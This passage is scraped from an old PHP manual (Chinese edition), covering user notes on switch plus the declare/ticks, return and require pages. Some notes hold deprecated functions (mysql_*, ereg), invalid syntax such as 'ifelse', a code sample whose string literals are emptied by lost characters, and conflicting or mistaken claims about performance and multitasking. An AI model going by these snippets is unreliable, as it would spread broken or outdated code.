Also note that even though a conditional statement needs to be explicitly set in each case to gain expected behavior, the switch can still execute faster then an "ifelse" block because PHP will not continue to evaluate conditions once a case has been satisfied.
jonybd at yahoo dot com
28-Jun-2005 08:25
/*
   Have one value need to deal with currency
   - follow as example
*/
while ($row = mysql_fetch_array($v_Result,MYSQL_NUM)) {
   $v_BAL = $row[1]/10000;

   switch (TRUE){

       case ($v_BAL <= 0):            //less then 0 , -0
           echo $v_BAL;
       break;

       case ($v_BAL <= 10 AND $v_BAL >= 1):    //less then 10 and greater then 1
           echo $v_BAL;
       break;

       default:                //default
           echo $v_BAL;
       break;
   }
}
dohpaz at kennethpaul dot com
05-Jun-2005 06:24
[Editor's note: Changed the second switch to make it work as intended.]

I haven't seen anything specifically pointing this out, but you can get a small performance increase in your code by re-structuring your complex switch statements.

For example, I was using the following switch to convert textual month names into their numerical counterparts from the Date header of email on my pop server:

switch ($month_name) {
  case "Jan":
  case "January":
   $month = "1";
   break;
  ...
}

Even just looping through 15 emails on the server, it would take upwards of around 9-10 seconds! So, I decided to shorten my switch statement to something like this:

switch (TRUE) {
  case ($month_name == "Jan" || $month_name == "January"): $month = "1"; break;
  ...
}

Doing this I actually shaved 3 seconds from my script's execution time!!! I thuoght this was well worth noting for other coders out there who are looking to optimize their PHP code.
ant at loadtrax dot com
25-Mar-2005 01:01
This caught me out. The number '6' when compared with the string '6b' returns true. The solution is to either typecast the compare  -  ie, " switch ((string)$type): "  or to make sure $type is a string (eg $type="6")

<?
$type=6;
switch ($type):
   case "6b":
       print "6b: ";
       print $type;
   break;
   case "6":
       print "6: ";
       print $type;
   break;
endswitch;
?>
Bruno Feu
23-Mar-2005 05:22
You can solve the problem by just writing the following piece of code:

<?php
$x = 18;
$y = 6;

switch ($x) {
   case ($y * 4):
   case (9 * 3):
       echo "Member";
       break;
   default:
       echo "Not a member";
}
?>
ach aat bitfabrik doot de
14-Mar-2005 07:21
So instead of writing the code shown below it would have to be like this:

<?php
$x = 18;
$y = 6;

switch ($x) {
   case ((($y * 4) || (9 * 3))?$x:false):
       echo "Member";
       break;
   default:
       echo "Not a member";
}
?>

So now the case expression contains an if statement in simplified notation which either returns the value of $x if the expression is true (so the case matches) or false, if the expression was false (so the case does not match).
Be aware that it only works if $x never actually is "false" because then it would match in either case. So the "false" in the above code should always be any random value which is not a possible value for $x.
gregory dot mccoy at pleasedontspam dot cafeoui dot net
14-Mar-2005 01:07
In the post:
----------------------------------------------------
design at hyperoptix dot com
18-Feb-2004 12:46
Boolean logic does not work inside case statements:

<?php
$x = 18;
$y = 6;

switch ($x) {
   case (($y * 4) || (9 * 3)):
       echo "Member";
       break;
   default:
       echo "Not a member";
}
?>

echoes "Member".
----------------------------------------------------
there were many responses but all seem to miss the point.  You cannot mix apples and oranges.  The "switch($x)" establishes that this "switch" statement will be a Relational syntax while the "case" qualifier uses a Logical syntax.  There must be a match.  Either change "switch($x)" to "switch(true)" or change "case(($y * 4) || (9 * 3)):" to resolve to a value.

The syntax of the original post is like a cop that says, "I want all of your answers to reflect truth.  So, are you eighteen?"  The respondent says, " 4 x 4 or 11 + 5".  Need I say more?
rdoggett at oz dot net
19-Jan-2005 09:01
Here's an often overlooked way of doing (nearly) the same thing:
<?php
echo ($i == 0) ?  "i is zero" :
     (($i == 1) ?  "i equals 1" :
     (($i == 2) ?  "i equals 2" : ""));
?>
This may be an idiomatic surprise at first.  But the clean and concise code speaks for itself.

Beware; PHP seems to parse the ternary operator with a different precedence than other languages such as C or perl or javascript.  This means PHP requires nested parenthesis around each nested group to avoid unexpected results.  Even so, this construct is still very understandable and maintainable, compared to the equivalent switch or if statements.
Derek Ethier
23-Dec-2004 03:43
A word of caution around the order used for the case/default controls.  I notice that a lot of people do not break; the default section and the following could lead to incorrect results when run.

$a = "lowercase";

switch ( $a ) {
  default:
   $a = strtoupper( $a );
   print $a . "<br />";

  case ( 'LOWERCASE' ):
   print $a . "<br />";
   break;
}

Result:
LOWERCASE
LOWERCASE

Placing a break; in the default control will result in:
LOWERCASE

.. as expected.  Also, placing the default section at the bottom (as in an else control) will also display the correct result.
Bachsau
20-Dec-2004 08:52
Be carefull: If you want to test the return of a function, you have to use switch, because if you use 'if' and 'ifelse', your function will be executed every time again.

For example if use use the following construct:

if(file_get_contents('file.htm', 0) == 'typ1') {
     // Do one thing
}
ifelse(file_get_contents('file.htm', 0) == 'typ2') {
     // Do the second thing
}
ifelse(file_get_contents('file.htm', 0) == 'typ3') {
     // Do the third thing
}

The file will be requested 3 times!!!

If you use the following:

switch (file_get_contents('file.htm', 0)) {
     case 'typ1': // Do one thing
     break;
     case 'typ2': // Do the second thing
     break;
     case 'typ3': // Do the third thing
}

The file will be requested only once!!!
pentek_imre at mailbox dot hu
23-Oct-2004 07:25
Using select is like using == (instead of ===) in an if statement. Let's see an example:
<?php
function Describe($Q)
{
  var_dump($Q);
  echo ": ";
  switch ($Q)
   {
   case "0":
     echo "String zero";
     break;
   case 0:
     echo "Integer zero";
     break;
   case NULL:
     echo "NULL NULL";
     break;
   case FALSE:
     echo "Boolean FALSE";
     break;
   case "":
     echo "Empty string";
     break;
   default:
     echo "Any other value";
     break;
   }
  echo "<BR>\n";
}
Describe("0");
Describe(0);
Describe(NULL);
Describe(FALSE);
Describe("");
Describe(1);
?>
Output (PHP 5.0.1) is:
string(1) "0" : String zero
int(0) : String zero
NULL : Integer zero
bool(false) : String zero
string(0) "" : Integer zero
int(1) : Any other value
tom AT csbanana DOT com
12-Oct-2004 01:18
If you're using switch() inside a function and you're returning a $var inside each case, you won't need to include break() as return() will end the execution of the switch and function.
manicdepressive at mindless dot com
22-Apr-2004 07:43
Be careful if distinguishing between NULL and (int)0.  As implied in the above documentation, the case statements are equivalent to the '==' operator, not the '===' operator, so the following code did not work as i expected:

<?php
$mixed = 0;
switch($mixed){
   case NULL: echo "NULL";  break;
   case 0: echo "zero";  break;
   default: echo "other"; break;
}
?>

Instead, I may use a chain of else-ifs.  (On this page, kriek at jonkreik dot com states that "in most cases [a switch statement] is 15% faster [than an else-if chain]" but jemore at m6net dotdot fr claims that when using ===, if/elseif/elseif can be 2 times faster than a switch().)

Alternatively, if i prefer the appearance of the switch() statement I may use a trick like the one nospam at please dot com presents:

<?php
$mixed = 0;
switch(TRUE){
   case (NULL===$mixed): //blah break;
   case (0  ===$mixed): //etc. break;
}
?>

code till dawn! mark meves!
ezekiel at superquenelles dot com
25-Mar-2004 09:40
In reply to Alex Fung :
The following code doesn't work :

<?php
$x = 18;
$y = 6;

switch ($x) {
   case (($y * 4) || (9 * 3)):
       echo "Member";
       break;
   default:
       echo "Not a member";
}
?>

Why :
<design at hyperoptix dot com> want to test if $x == $y*4 or $x == 9*3 ($x == (($y*4)||(9*3))
However the case statement evaluate the value of (($y*4)||(9*3)) that is always true because 9*3=27 (!=0)
That's why this code always return true when $x != 0.
The correct code would be :

<?php
$x = 18;
$y = 6;

switch ($x) {
   case (($y * 4)):
   case ((9*3)):
       echo "Member";
       break;
   default:
       echo "Not a member";
}
?>

Boolean logic work inside case statement, you just need to know that the expression in the case statement is first evaluated then compared with the evaluated value in the switch statement.
php dot net dot 1 at yogelements dot com
20-Jan-2004 02:39
Declaring a variable (actually an array) as static w/in a switch{} spun my wool for a while:
don't:
<?
function ss() {
   switch ("bug") {
       case "bug" :
           static $test = "xyz";
           break;
       default :
           static $test = "abc";
   }
 echo $test;
}
ss(); //abc
?>
do:
<?
function tt() {
   static $test;
   switch ("fix") {
       case "fix" :
           $test = "xyz";
           break;
       default :
           $test = "abc";
   }
 echo $test;
}
tt(); // xyz
?>
gmgiles at pacbell dot net
19-Jan-2004 05:07
Did you know that switch() and case() can also accomodate things like basic math calculations and counter incrementing? They do. In this example, I use a switch statement (which is inside of a while loop) to alternate the background color of a table row. It gives me a cool spool-printer-paper effect.

<?php
$rows_per_color = 5;  // change bgcolor every 5 rows
switch($ctr++) {
   case 0:
       $bgcolor = "#ffffff";
       break;
   case ($rows_per_color):
       $bgcolor = "#ff0000";
       break;
   case ($rows_per_color * 2):
       $bgcolor = "#ffffff";
       $ctr = 1;
       break;
}
?>

As you can see, I increment $ctr by 1 in the switch() itself, and the final case() does a simple calculation. Simple, but powerful. [Remember, the above example is inside of a while() loop... each time it iterates, switch increments $ctr.]
phpmanual at nos-pam dot sadlittleboy dot com
10-Jan-2004 09:32
Regarding bishop's comment below, although using:
   switch($bug === 0 ? '' : $bug) {
may work, ( and although I do like the ternary operator, :) it might be more intuitive/readable to use this instead:
   switch( (string)$bug ) {
which typecasts the variable to a string to ensure that "0" will be handled correctly.
jon
09-Dec-2003 04:48
In response to the entry by "kriek at jonkriek dot com", I think you would probably be better of doing this:
<?php
   // ensure $_GET['go'] is set, an integer, and not 0
   // then, set nav number; default to 1
   $nav = ( isset($_GET['go']) && (intval($_GET['go']) == $_GET['go']) && $_GET['go'] ) ?
       intval($_GET['go']) : 1;

   // format navigation string and include
   include(sprintf("Page%02d.php",$nav));
?>

... as oppposed to the switch setup you recommended, which is limited to the number of cases you specify...
havar at henriksen dot nu
15-Sep-2003 04:54
Remember, that you also could use functions in a switch.
For example, if you need to use regular expressions in a switch:

<?php
$browserName = 'mozilla';
switch ($browserName) {
  case 'opera':
   echo 'opera';
  break;
  case (preg_match("/Mozilla( Firebird)?|phoenix/i", $browserName)?$browserName:!$browserName):
   echo "Mozilla or Mozilla Firebird";
  break;
  case 'konqueror':
   echo 'Konqueror';
  break;
  default:
   echo 'Default';
  break;
}
?>

or you could just use a regular expression for everything:

<?php
$uri = 'http://www.example.com';
switch (true) {
  case preg_match("/$http(s)?/i", $uri, $matches):
   echo $uri . ' is an http/https uri...';
  break;
  case preg_match("/$ftp(s)?/i", $uri, $matches):
   echo $uri . ' is an ftp/ftps uri...';
  break;
  default:
   echo 'default';
  break;
}
?>
(cgibbard) student math uwaterloo ca
10-Aug-2003 05:30
Just in reply to the comment about 2 digit numbers: something octal certainly is going on. Integer literals prefixed with a "0", like in C and several other languages, are treated as octal. Similarly, integer literals prefixed with "0x" are treated as hexadecimal. Seeing as this is the case, 08 and 09 are not valid integer literals. It turns out that php treats them as 0 (it would probably be better to fail with an error message, but it doesn't). Bottom line? Don't prefix numbers with 0 in code unless you mean octal. Format them as you print them with printf, like so: printf("%02u", $my_unsigned_int); or if you will, use sprintf to get a string representation rather than printing on stdout.
bishop
14-Jul-2003 03:26
As jason at devnetwork dot net and others have pointed out, using switch() when you wish to compare against strings can be dangerous:

<?php
$bug = 0;
switch ($bug) {
   case 'fly':
       echo 'flies buzz';
       break;

   case 'mantis':
       echo 'mantes pray';
       break;

   default:
       echo 'swat, splat, you are dead';
       break;
}
?>

Will print "flies buzz", NOT "swat, splat, you are dead".
Remember PHP says that 'fly' == 0, or in general string == 0 is true.

Anyway, avoid that with:

<?php
$bug = 0;
switch ($bug === 0 ? '' : $bug) {
   case 'fly':
       echo 'flies buzz';
       break;

   case 'mantis':
       echo 'mantes pray';
       break;

   default:
       echo 'swat, splat, you are dead';
       break;
}
?>

Prints out what you expect:

Swat
Splat
You are dead

P.S.: that's an empty string (single quote single quote), not a spurious double quote.
shawn at evilest dot net
04-May-2003 05:50
You can also nest switch statements inside case statements:

<?php
   // Set argument handlers
   $argv = explode(",", urldecode(getenv('QUERY_STRING')));
   $argc = array_shift($argv);
   $argd = array_shift($argv);
   $arge = array_shift($argv);
?>

   // Begin switching

<?php
   switch ($argc) {
       case 'home': {
             print('This is $argc, home case.');
           break;
       }
       case 'subsection': {
               switch ($argd) {
                     case 'links': {
                           switch($arge) {
                               case 'display': {
                               print('This is $arge, subsection,links,display case.');
                               break;
                               }
                           }
                   }
               }
       }
   }
?>
i luv spam
26-Apr-2003 02:46
Noticed some odd switch behavior worth mentioning:

Switching on a variable set as $var="08" and forgetting the quotes within the case results in different behavior depending on the two digit number the variable is set to.

For "01" to "07", using a case like
  case 01:
the case is triggered.

For "08" or "09" the case is skipped.

For "10" to "12" the case is triggered.

Looks like something octal may be going on.

Anyway, not a problem once the case is changed to:
  case "08":
as it should have been from the start.  Just odd.
jason at devnetwork dot net
24-Mar-2003 06:51
It should be pointed out that this:

<?php

$var = 0;

switch ( $var )
{
   case "something":
       $foo = "Broken";
       break;
   default:
       $foo = "Okay";
       break;
}

echo $foo;

?>

Will print out "Broken".  It's not broken, because in PHP, when an Integer and a String are compared, the string is == 0.  So 0 == "something".  However, this is not apparent.  switch() does not do type checking.
kriek at jonkriek dot com
05-Mar-2003 10:13
Nice, clean, template style navigation. In most cases it is fifteen percent faster to use switch/case/break instead of if/elseif/else. Of course this depends on your application and individual code results do very.

<?php
   switch ($_GET['go']) {
       case "1": $inc = 'Page01.php';
       break;
       case "2": $inc = 'Page02.php';
       break;
       case "3": $inc = 'Page03.php';
       break;
       case "4": $inc = 'Page04.php';
       break;
       default: $inc = 'Page01.php';
       break;
   }
   include ($inc);
?>
jemore at m6net dotdot fr
14-Feb-2003 08:26
siwtch() made always a type conversion before comparing all the case value (PHP4.3.0), so the following statement
<?php
     // $a = 'abc0' or 'abc1' or 'abc2', so this is a string
     switch ($a)
     {
       case 'abc0' : $nb += 1; break;
       case 'abc1' : $nb += 2; break;
       case 'abc2' : $nb += 3; break;
     }
?>
is slower than the following statement
<?
     if ($a === 'abc0') $nb += 1;
     elseif ($a === 'abc1') $nb += 2;
     elseif ($a === 'abc2') $nb += 3;
?>
because the '===' (3 equals signs) compare value without type conversion. Using a if/elseif/elseif structure instead of switch/case/case can be 2 times faster (I have made a test)
rmunn at pobox dot com
24-Jan-2003 03:21
In answer to njones at fredesign dot com, what you're seeing is the way the switch statement is supposed to work. The switch statement evaluates the cases, top to bottom, until it finds the first one that matches the value being switch()ed on. So, for example, if you had:

<?php
switch(2) {
case 1: echo "One\n"; break;
case 2: echo "Two\n"; break;
case 3: echo "Three\n"; break;
case 2: echo "Two again\n"; break;
}
?>

Only "Two" would get echoed. "Two again" would NOT get echoed, because once the first case matches, the rest of them do NOT get evaluated. As soon as a matching case is found, the statements starting at that case get executed until the first break, then control flows out the bottom of the switch block.
theonly dot mcseven at gmx dot net
19-Jan-2003 12:44
working a bit around with it I found out that it is not possible to
compare the variable with two different values in one step like this
(system running a w2k server, apache2.0.43 & php430):

<?php
switch ($myvar) {
 case ("foo" || "bar"): //do something
 break;
 case ("other"): //do another thing
 break;
 default:
}
?>

rather use:

<?php
switch ($myvar) {
 case ("foo"):
 case ("bar"): //do something
 break;
 case ("other"): //do another thing
 break;
 default:
}
?>
turk162 at ALLSPAM_hotmail dot com
03-Dec-2002 08:55
On PHP V4.2.1, running on IIS5 as a CGI, I found an anomaly with how SWITCH handled strings.  I've heard that this problem doesn't exist on V4.2.3 on Apache.

This snippet took the wrong branch:

<?PHP
$wonum = '20010E0';
SWITCH ($wonum):
   CASE '20010D0';
     ECHO "<BR>Branching at D with wonum: " . $wonum;
     BREAK;
   CASE '20010E0';
     ECHO "<BR>Branching at E with wonum: " . $wonum;
     BREAK;
ENDSWITCH;
?>

Type casting with $wonum = (STRING) '20010E0'; didn't help.
Changing the order of the CASEs made no difference (it shouldn't, but...)

What did work was using MD5 to force a string comparison:

<?PHP
$wonum = MD5('20010E0');
SWITCH ($wonum):
   CASE MD5('20010D0');
     ECHO "<BR>Branching at D with wonum: " . $wonum;
     BREAK;
   CASE MD5('20010E0');
     ECHO "<BR>Branching at E with wonum: " . $wonum;
     BREAK;
ENDSWITCH;
?>

Moral: test test test
hexa at h3xa dot com
14-Nov-2002 11:55
this is a simple function that returns a random string and uses
switch to determine what kind of string you want.
function r( [string prefix][,int type,][,int chars] );

type = 1 -> only numbers
type = 2 -> only letters
type = 3 -> both

<?php
function r($prefixo = "",$tipo = 3,$numcaracteres = 10) {
   switch ($tipo) {
       case 1:
           for ($x = 1; $x <= $numcaracteres; $x++) {
               $rnum .= chr(rand(48,57));
           }
           return $prefixo . $rnum;
           break;
       case 2:
           for ($x = 1; $x <= $numcaracteres; $x++) {
               if (rand(1,2) == 1) { $rletras .= chr(rand(65,90)); }
               else { $rletras .= chr(rand(97,122)); }
           }
           return $prefixo . $rletras;
           break;
       case 3:
           for ($x = 1; $x <= $numcaracteres; $x++) {
               $r = rand(1,3);
               if ($r == 1) { $rstring .= chr(rand(65,90)); }
               elseif ($r == 2) { $rstring .= chr(rand(97,122)); }
               else { $rstring .= chr(rand(48,57)); }
           }
           return $prefixo . $rstring;
           break;
   }
}
?>
chernyshevsky at hotmail dot com
28-May-2002 06:45
Be very careful when you're using text strings as cases. If the variable supplied to switch() is an integer, the cases would be converted to integer before the comparison is made (usually to zero). The following snippet prints "hello".

<?php
$a = 0;
switch($a) {
 case 'Hello': echo "Hello";
 break;
 }
?>
paz at spiralon dot com
16-May-2002 10:44
In case : ) it helps someone, I was able to clean up some hairball code by using nested switches (didn't see it mentioned here).  Thanks to all those who are writing examples - I love this site!

<?php
$string_match="second";
switch ($string_match) {
case "first":
case "second":
case "third":
   print "<H3>Something for all three</H3><br>";
   switch ($string_match) {
     case "first":
     print "something for first only";
     break;
     case "second":
     case "third":
     print "something for the other two";
     break;
   }
break;
default:
print "<H3>no match</H3>";
}
?>
gray dot quinn at catch-e dot com dot au
22-Mar-2002 02:00
To get the conditional statement to work for the above example use this:

<?php
$chr = substr($a,$i,1);
switch (TRUE) {

case $chr == "" || $chr == "" || $chr == "" || $chr == "":
$a = str_replace(substr($a,$i,1),"a",$a);
break;

case $chr == "" || $chr == "" || $chr == "":
$a = str_replace(substr($a,$i,1),"e",$a);
break;
?>

}
PeterC at (spamme)rm-rfsplat dot com
07-Feb-2002 04:55
Along the lines of using expressions in switch statements.  I came across some code which wrapped switch statements in 'if' blocks like so...
if (isset($var) {
   switch($var) {
       ....

But I found the following a little cleaner.

switch ( isset($var) ? $var : defaultValue ) {
...
x@x
26-Jul-2001 05:29
often you will have to perform multiple actions in sequence, but this sequence must be broken once one of them detects a stop condition (such as an error, when validating form request variables).
One way is to use:

if (check1()
&& check2()
&& check3()
) valid();
else error();

But when the sequence is long and must reordered, this can be errorprone because not all line of check have the same syntax (imagine that you want to comment one of them).

Another way is to rewrite it as:

check1() and
check2() and
check3() and
...
valid() or
error();

The above syntax does not fit well when the valid() code must be several statements.
An alternative syntax can be:

switch (false) {
case check1():
case check2():
case check3():
error();
break;
default:
valid();
}

This last equivalent sample show you that each case expressions is evaluated, until one of them evaluates to a value equal (==) to the switch expression. Above, the error() code will only be called if one of the check evaluates to false. And the valid() code will only be evaluated only if the switch reach the default, which means that none of the above check returned false...
bensphpnetemail at supernaut dot org
30-Jun-2001 02:14
It's obvious, but might still bear explicit mention that you can conditionally execute the BREAK statement in order to allow a CASE to fall through to the next CASE.

e.g.:-> Here, CASE 1 will fall through and the DEFAULT CASE statements will also be executed unless $somevar is true.

<?php
switch ($i) {
   case 0:
       print "i equals 0";
       break;
   case 1:
       print "i equals 1";
       if ($somevar) {
             break;
             }
   default;
       echo 'Some Default Statements';
       break;
}
?>

Cheers,
Ben Nardone
rtreat2 at tampabay dot rr dot com
31-Mar-2001 07:34
just a further example of the above note, you can do the following type of searching:

<?php
switch (true){
   case ( ereg ("stats",$userfile_name) ):
       echo "processing stats";
       process_stats();
       break;
   case ( ereg("prices",$userfile_name) ):
       echo "processing prices";
       process_prices();
       break;
   default:
       echo = "File not recognized!!.";
}
?>

this script could be used to determine data formats for uploaded files based on a nameing conve
ntion. just one example.
nospam at please dot com
15-Nov-2000 09:18
Just a trick I have picked up:

If you need to evaluate several variables to find the first one with an actual value, TRUE for instance. You can do it this was.

There is probably a better way but it has worked out well for me.

switch (true) {

  case (X != 1):

  case (Y != 1):

  default:
}
add a note add a note

后退 | 起点 | 前进
continue | 上一级 | declare


declare

declare 结构用来设定一段代码的执行指令。declare 的语法和其它流程控制结构相似：

declare (directive)
    statement

directive 部分允许设定 declare 代码段的行为。目前只认识一个指令：ticks（更多信息见下面 ticks 指令）。

declare 代码段中的 statement 部分将被执行――怎样执行以及执行中有什么副作用出现取决于 directive 中设定的指令。

declare 结构也可用于全局范围，影响到其后的所有代码。

<?php
// these are the same:

// you can use this:
declare(ticks=1) {
    // entire script here
}

// or you can use this:
declare(ticks=1);
// entire script here
?>

Ticks

Tick 是一个在 declare 代码段中解释器每执行 N 条低级语句就会发生的事件。N 的值是在 declare 中的 directive 部分用 ticks=N 来指定的。

在每个 tick 中出现的事件是由 register_tick_function() 来指定的。更多细节见下面的例子。注意每个 tick 中可以出现多个事件。

例子 16-3. 评估一段 PHP 代码的执行时间

<?php
// A function that records the time when it is called
function profile($dump = FALSE)
{
    static $profile;

    // Return the times stored in profile, then erase it
    if ($dump) {
        $temp = $profile;
        unset($profile);
        return ($temp);
    }

    $profile[] = microtime();
}

// Set up a tick handler
register_tick_function("profile");

// Initialize the function before the declare block
profile();

// Run a block of code, throw a tick every 2nd statement
declare(ticks=2) {
    for ($x = 1; $x < 50; ++$x) {
        echo similar_text(md5($x), md5($x*$x)), "<br />;";
    }
}

// Display the data stored in the profiler
print_r(profile (TRUE));
?>
这个例子评估“declare”中的 PHP 代码，每执行两条低级语句就记录一次时间。此信息可以用来找到一段特定代码中速度慢的部分。这个过程也可以用其它方法完成，但用 tick 更方便也更容易实现。

Ticks 很适合用来做调试，以及实现简单的多任务，后台 I/O 和很多其它任务。

参见 register_tick_function() 和 unregister_tick_function()。

add a note add a note User Contributed Notes
aeolianmeson at NOSPAM dot blitzeclipse dot com
30-May-2006 03:06
The scope of the declare() call if used without a block is a little unpredictable, in my experience. It appears that if placed in a method or function, it may not apply to the calls that ensue, like the following:

function a()
{
   declare(ticks=2);
   b();
}

function b()
{
   // The declare may not apply here, sometimes.
}

So, if all of a sudden the signals are getting ignored, check this. At the risk of losing the ability to make a mathematical science out of placing a number of activities at varying durations of ticks like many people have chosen to do, I've found it simple to just put this at the top of the code, and just make it global.
warhog at warhog dot net
19-Dec-2005 04:39
as i read about ticks the first time i thought "wtf, useless crap" - but then i discovered some usefull application...

you can declare a tick-function which checks each n executions of your script whether the connection is still alive or not, very usefull for some kind of scripts to decrease serverload

<?php

function check_connection()
{ if (connection_aborted())
   { // do something here, e.g. close database connections
     // (or  use a shutdown function for this
     exit; }
}

register_tick_function("connection");

declare (ticks=20)
{
  // put your PHP-Script here
  // you may increase/decrease the number of ticks
}

?>
fredrik at demomusic dot nu
10-Aug-2005 07:30
Beware! Using ticks on Windows, running Apache as a php-module, crashes Apache and will not work.

You have to use the CGI-version to use ticks on Windows.

More information here:
http://bugs.php.net/bug.php?id=26771
chris-at-free-source.com
01-Mar-2005 04:16
Also note that PHP is run in a single thread and so everything it does will be one line of code at a time.  I'm not aware of any true threading support in PHP, the closest you can get is to fork.

so, declare tick doens't "multi-thread" at all, it is simply is a way to automaticaly call a function every n-lines of code.
fok at nho dot com dot br
08-Jul-2003 09:45
This is a very simple example using ticks to execute a external script to show rx/tx data from the server

<?php

function traf(){
  passthru( './traf.sh' );
  echo "<br />\n";
  flush(); // keeps it flowing to the browser...
  sleep( 1 );
}

register_tick_function( "traf" );

declare( ticks=1 ){
  while( true ){}  // to keep it running...
}

?>

contents of traf.sh:
# Shows TX/RX for eth0 over 1sec
#!/bin/bash

TX1=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $9}'`
RX1=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $1}'`
sleep 1
TX2=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $9}'`
RX2=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $1}'`

echo -e "TX: $[ $TX2 - $TX1 ] bytes/s \t RX: $[ $RX2 - $RX1 ] bytes/s"
#--= the end. =--
daniel@swn
02-Feb-2003 03:56
<?php
ob_end_clean();
ob_implicit_flush(1);

function a() {
 for($i=0;$i<=100000;$i++) { }
 echo "function a() ";
}
function b() {
 for($i=0;$i<=100000;$i++) { }
 echo "function b() ";
}

register_tick_function ("a");
register_tick_function ("b");

declare (ticks=4)
{
   while(true)
   {
       sleep(1);
       echo "\n<br><b>".time()."</b><br>\n";;
   }
}
?>
You will see that a() and b() are slowing down this process. They are in fact not executed every second as expected. So this function is not a real alternative for multithreading using some slow functions..there is no difference to this way: while (true) { a(); b(); sleep(1); }
xxoes
08-Jan-2003 06:23
If i use ticks i must declare all functions before i call the function.

example:

Dosn't work
<?php
function ticks() {
   echo "tick";
}
register_tick_function("ticks");

declare (ticks=1) 1;

echo "";
echo "";

foo(); // Call to undefined function.

function foo() {
   echo "foo";
}
?>

Work
<?php
function ticks() {
   echo "tick";
}
register_tick_function("ticks");

//declare (ticks=1) 1;

echo "";
echo "";

foo();

function foo() {
   echo "foo";
}
?>

win2k : PHP 4.3.0 (cgi-fcgi)
rob_spamsux at rauchmedien dot ihatespam dot com
19-Mar-2002 06:45
Correction to above note:

Apparently, the end brace '}' at the end of the statement causes a tick.

So using

------------
declare (ticks=1) echo "1 tick after this prints";
------------

gives the expected behavior of causing 1 tick.

Note: the tick is issued after the statement executes.

Also, after playing around with this, I found that it is not really the multi-tasking I had expected. It behaves the same as simply calling the functions. I.e. each function must finish before passing the baton to the next function. They do not run in parallel.

It also seems that they always run in the order in which they were registered.

So,

<?php
------------
# register tick functions
register_tick_function ("a");
register_tick_function ("b");

# make the tick functions run
declare (ticks=1);
?>
------------

is equivalent to

------------
a();
b();
------------

It is simply a convenient way to have functions called periodically while some other code is being executed. I.e. you could use it to periodically check the status of something and then exit the script or do something else based on the status.
rob_spamsux at rauchmedien dot ihatespam dot com
19-Mar-2002 05:58
Here is an example of multi-tasking / multi-threading:

<?php
# declare functions
function a() {
  echo "a";
}
function b() {
  echo "b";
}

# register tick functions
register_tick_function ("a");
register_tick_function ("b");

# make the tick functions run
declare (ticks=1);

# that's all there is to it.
?>

Notes:
This will make functions a and b run once each at the same time.

If you try:

declare (ticks=1) {
  1;
}

They will run twice each. That is because it seems to be an undocumented fact that there is always an extra tick.

Therefore:

declare (ticks=2) {
  1;
}

Will cause them to run once.
add a note add a note

后退 | 起点 | 前进
switch | 上一级 | return


return

如果在一个函数中调用 return()
语句，将立即结束此函数的执行并将它的参数作为函数的值返回。return()
也会终止 eval() 语句或者脚本文件的执行。

如果在全局范围中调用，则当前脚本文件中止运行。如果当前脚本文件是被 include() 的或者 require() 的，则控制交回调用文件。此外，如果当前脚本是被 include() 的，则 return() 的值会被当作 include() 调用的返回值。如果在主脚本文件中调用 return()，则脚本中止运行。如果当前脚本文件是在 php.ini 中的配置选项 auto_prepend_file 或者 auto_append_file 所指定的，则此脚本文件中止运行。

更多信息见返回值。

注: 注意既然 return() 是语言结构而不是函数，仅在参数包含表达式时才需要用括号将其括起来。当返回一个变量时通常不用括号，也建议不要用，这样可以降低 PHP 的负担。

注: 当用引用返回值时永远不要使用括号，这样行不通。只能通过引用返回变量，而不是语句的结果。如果使用 return ($a); 时其实不是返回一个变量，而是表达式 ($a) 的值（当然，此时该值也正是 $a 的值）。

add a note add a note User Contributed Notes
jasper at jtey dot com
26-May-2006 02:54
You can use alternate "if statement" syntax within a return statement itself:

<?php
// Return the minimum of two numbers
function min($a, $b){
  return $a < $b ? $a : $b;
}
?>
warhog at warhog dot net
19-Dec-2005 04:28
for those of you who think that using return in a script is the same as using exit note that: using return just exits the execution of the current script, exit the whole execution.

look at that example:

a.php
<?php
include("b.php");
echo "a";
?>

b.php
<?php
echo "b";
return;
?>

(executing a.php:) will echo "ba".

whereas (b.php modified):

a.php
<?php
include("b.php");
echo "a";
?>

b.php
<?php
echo "b";
exit;
?>

(executing a.php:) will echo "b".
mike at uwmike dot com
07-Dec-2005 01:25
If you have a class file that's getting out of control, you can set it up like so:

<?php
class myClass {
  function do_this($a, $b) { return require(myClass_do_this.php); }
  function do_that($a, $b, $c) { return require(myClass_do_that.php); }
}
?>

Might not be for everyone, but it's workable, readable, and keeps the source files shorter.
11-Aug-2005 10:42
If you like pickles, then it's good for you.
PackCat
11-Jun-2005 09:02
If you return a value that has not been set, or has been unset, the function will return that status instead. So,

<?php
$var1 = 1;
function unsetVar($var) {
   unset($var);
   return $var;
}
$var1 = unsetVar($var1); // this will unset $var1
?>

This is useful in situations where we want to conditionally proceed based on the output of a function; for example,
if (isset($fileListAsArray = functionGettingFileList())) {
   // our list exists, do whatever
} else . . . // report error
24-May-2005 11:44
If you are just wanting to get the current output printed to the browser (and continue execution), use flush().
17-Feb-2003 07:04
Use "exit()" to end all script execution for the current request. For HTTP requests, the response generated to that point will then be sent to the browser.
add a note add a note

后退 | 起点 | 前进
declare | 上一级 | require()


require

PHP 手册
后退 章 16. 流程控制 前进

require()

require() 语句包含并运行指定文件。

require() 语句包含并运行指定文件。有关包括如何工作的详细信息见 include() 的文档。

require() 和 include() 除了怎样处理失败之外在各方面都完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果想在丢失文件时停止处理页面，那就别犹豫了，用 require() 吧。include() 就不是这样，脚本会继续运行。同时也要确认设置了合适的include_path。

例子 16-4. 基本的 require() 例子

<?php

require 'prepend.php';

require $somefile;

require ('somefile.txt');

?>

更多例子参见 include() 文档。

注: 在 PHP 4.0.2 之前适用以下规则：require() 总是会尝试读取目标文件，即使它所在的行根本就不会执行。条件语句不会影响 require()。不过如果 require() 所在的行没有执行，则目标文件中的代码也不会执行。同样，循环结构也不影响 require() 的行为。尽管目标文件中包含的代码仍然是循环的主体，但 require() 本身只会运行一次。

注: 由于这是一个语言结构而非函数，因此它无法被变量函数调用。

警告

Windows 版本的 PHP 在 4.3.0 版之前不支持本函数的远程文件访问，即使 allow_url_fopen 选项已被激活。

参见 include()，require_once()，include_once()，eval()，file()，readfile()，virtual() 和 include_path。

add a note add a note User Contributed Notes
Inc
31-May-2006 11:35
